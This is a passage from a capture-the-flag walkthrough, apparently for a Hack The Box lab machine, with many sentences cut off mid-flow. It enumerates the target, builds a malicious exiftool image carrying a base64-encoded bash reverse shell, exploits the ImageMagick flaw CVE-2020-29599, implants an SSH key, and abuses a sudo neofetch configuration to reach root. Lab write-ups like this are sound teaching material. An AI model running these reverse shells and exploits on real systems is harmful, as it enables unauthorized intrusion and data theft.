nmap. We can quickly scan for open ports and store them in a variable:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.140 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running
nmap's built-in scripts:
nmap -p$ports -sC -sV 10.10.11.140.
http://artcorp.htb, so let's add that to
echo "10.10.11.140 artcorp.htb" | sudo tee -a /etc/hosts.
sudo nmap -p- -sU -r -T5 10.10.11.140 -v(
-rspecifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.). This finds nothing.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://artcorp.htb/ -H "Host: FUZZ.artcorp.htb" -fc 301:
echo "10.10.11.140 dev01.artcorp.htb" | sudo tee -a /etc/hosts.
http://dev01.artcorp.htb/shows a page with a link to
/metaviewpage shows an image upload. Uploading a non-image file produces this message: "File not allowed (only jpg/png)."
.jpgimage displays the following:
runme.jpgimage to the
dev01subdomain produces the following output:
bash -i >& /dev/tcp/10.10.14.169/52427 0>&1. We encode this to base64 to remove illegal characters with
echo -n "bash -i >& /dev/tcp/10.10.14.169/52427 0>&1" | base64to get
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ==. So, start a listener with
pwncator netcat with
nc -nvlp 52427. Then, create the malicious image with
exiftool -config eval.config runme.jpg -eval='system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjkvNTI0MjcgMD4mMQ== | base64 -d | bash")'.
thomas. We can view his home directory with
ls -la /home/thomas/to see the
pkillwithout an absolute path so if we had write permissions to somewhere on the global
PATHvariable we could replace that command with our own script, but we do not have these write permissions.
mogrifyproduces a long help output with the version string at the top:
Version: ImageMagick 7.0.10-36 Q16 x86_64 2021-08-29 https://imagemagick.org. Searching online for "imagemagick 7.0.10-36 exploit" finds this page at the top of the results, which discusses CVE-2020-29599: "A flaw was found in ImageMagick. The -authenticate option is mishandled allowing user-controlled password set for a PDF file to possibly inject additional shell commands via coders/pdf.c. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability." This vulnerability works for "ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40." We are running version
7.0.10-36, which is before
7.0.10-40, so this exploit should work.
0wnedfile gets placed in a known location:
poc.svgwith this text using
nano(or any text editor). Now, we can upload this image to
uploadcommand. Now, we just need to wait at most a minute for the cron job to run. For whatever reason, this does not work. However, changing the directory where the file is written to
/dev/shm/causes the file to be written. We can find world writeable directories with
find / -maxdepth 3 -type d -perm -777. So, the working exploit is:
/dev/shm/0wned(once the cron job runs() with the following output:
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas),27(sudo). So, we have command execution. We can set the command to a reverse shell such as
bash -i >& /dev/tcp/10.10.14.169/37580 0>&1and start a listener on port
pwncat-cs -lp 37580).
run implant.authorized_key key=/home/kali/.ssh/id_rsain the local shell. I set the permissions of the
.sshfolder to be what they should be with
cd && chmod 700 .ssh && chmod 600 .ssh/authorized_keys. Now we can connect with
pwncat-cs [email protected] --identity /home/kali/.ssh/id_rsaover SSH.
/tmpwhen logged in as
thomasshows different files than when logged in as
www-data, which is why writing the file to
/tmpdidn't working during the lateral movement phase. Apparently, each user has their own
sudo -lto see what we can do as the
rootuser since we saw that the user
thomaswas in the
sudogroup earlier (or just run
root. When we ran
pspyearlier I noticed something involving
neofetchrun so this is not a surprise. Additionally, there is a
/home/thomas/neofetch/config.conffile with a lot of options. However, the actual
neofetchconfiguration file is located at
neofetchis listed on GTFOBins. However, trying to run
sudo neofetch --ascii /root/root.txtto get the
root.txtflag asks for
thomas's password, which we don't have. So, we can't specify options on the
pspyagain we see that
/bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.confis executed as
rootabout every minute. So the config file is overwritten every minute or so.
neofetchconfig file at
prin "Test" "$(echo test)"under the
print_info()function heading. Running
neofetchagain will show
Test: testin the output. Thus, we have command execution, but running
rootwhich means it won't use the configuration file located
XDG_CONFIG_HOMEenvironment variable to where user-specific configuration files are stored, which defaults to
export XDG_CONFIG_HOME=/home/thomas/.configto set the the
thomas's home directory explicitly instead
"$HOME/.config". Now, we
nano /home/thomas/.config/neofetch/config.confand add
prin "Test" "$(cat /root/root.txt)"under the
print_info()function heading. Now, when we run
sudo neofetch, we see
rootshell using a reverse shell instead of
cat /root/root.txtin the
neofetchconfiguration file or we could copy
root's private ssh key.